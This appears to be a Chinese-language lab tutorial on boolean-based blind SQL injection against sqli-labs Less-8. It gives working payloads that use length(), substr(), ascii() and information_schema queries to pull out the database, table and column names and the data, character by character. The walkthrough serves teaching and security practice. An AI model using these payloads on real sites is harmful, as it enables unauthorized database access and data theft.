判断注入点
http://192.168.81.210/sqli/Less-8/?id=1
id等于1的时候正常id等于1’的时候页面有改变,因此可以判断可能存在注入,并且是布尔型盲注
判断注入类型
输入1 and 1=1
和1 and 1=2
发现页面无变化,可以猜测不是数字型注入,为什么?
- and 逻辑与
当条件表达式两边都为真才是真,有一边为假则是假,从下方图中可以发现,当and有一边为假的时候,是没有返回内容的
所以我们输入的内容传入到数据库执行的语句就变成了
select * from users where id='1 and 1=1' limit 0,1;
select * from users where id='1 and 1=2' limit 0,1;
这是一个整体,“逻辑与”自然不会生效了。既然不是数字型,自然就可能是字符型了。
获取数据
获取数据库长度
因为页面无回显,所以就不能获取其数据的显示位置了,可以通过length()函数判断数据库名的长度
- length() 查询字符串长度
输入1' and length(database())=9--+
无回显,可以对9这个数字进行遍历,发现为8的时候页面正常,因此可以得出数据库名的长度是8,
获取数据库名
这里可以使用substr()函数进行字符串截取
- substr(string,start,length) 截取字符串
注意,mysql中的start从1开始的。
获取数据库第一位1' and substr(database(),1,1)='s'--+
,等于s的时候页面有回显,等于其它字符的时候页面无回显,这里的s
数据库名等的字符串表示,需要用单引号、双引号包裹住,或者可以使用对应的的十六进制的形式。
可以得出数据库第一位为s
,依次改变截取的start位置即可得出数据库名,即1' and substr(database(),2,1)='e'--+
,其中可以对s的位置进行遍历,遍历的内容为数据库命名规则,即26个字母加上0-9加上下划线。
依次进行查询,因为在前面知道了数据库名的长度为8,所以只需要开始截取的位置到8就可以了1' and substr(database(),8,1)='y'--+
可以得出数据库名为security
,除了以上方法之外,还可以将值也就是s转换成ascii码进行查询,s的ascii码是115,所以查询的结果返回为真输入1' and ascii(substr(database(),1,1))=115--+
的时候页面有回显,等于116的时候无回显,所以可以得出数据库名第一位为s
,依次进行查询,可以得出数据库名。
获取表名长度
有报错回显的时候可以通过以下语句获取表名无回显只能利用substr进行字符串的截取了,从下方报错可以知道,当查询的数据有多行时,是行不通的。
这里可以使用limit控制输出的行数,也可以使用group_concat()
函数将多行进行合并
- limit start,length
LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初始记录行的偏移量是 0(而不是 1)但是由于我们并不知道表名的长度,为了避免后面substr函数截取无用的长度,所以可以先判断表名的长度以上语句放到题目即为1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
等于6的时候有回显,不等于6的时候无回显,可以得出第一个表名的长度为6
获取表名
进行字符串的截取1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
等于101的时候有回显,其它的时候无回显可得出第一个表名的第一个字符的ascii为101也就是e
,接下来只需要改变字符串截取的起始位置与最后面的ascii值即可得出第一个表名为emails
获取列名长度
代入到题目即为1' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2--+
,这里的emails数据库名、表名等的字符串表示,需要用单引号、双引号包裹住,或者可以使用对应的的十六进制的形式。可以得出第一列的长度为2
获取列名
截取列名的第一个字符1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105--+
,等于105的时候有回显,其它无回显,所以第一个字符为ascii是105的i
截取列名的第二个字符1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1))=100--+
最终得出列名为id
获取最终数据
输入1' and ascii(substr((select group_concat(id) from emails),1,1))=49--+
时页面有返回,其它值无返回,可以知道查询的id的值为1
,这里使用了group_concat()函数将多行进行了合并,所以就不需要使用limit控制输出行数了。
思考为什么会存在布尔盲注?
相信这点才是大家不理解的地方,下面我们可以看一个实例
当正常查询的时候,网站给我们返回了结果
当不正常查询的时候,返回了其它的非数据库报错内容
这是由于网站的开发者将报错信息给屏蔽了,只剩下有或者没有,这就是网站为什么存在布尔盲注的原因。
那么可能就还有一个疑问,会不会是没有查询到东西,所以返回上面的内容,其实这里的话可以继续尝试,比如加个注释符,
相当于把select product where products where id='76'' limit 0,1
中的' limit 0,1
给注释掉,所以页面返回正常内容,现在我们就可以确定网站是存在注入,布尔类型的盲注。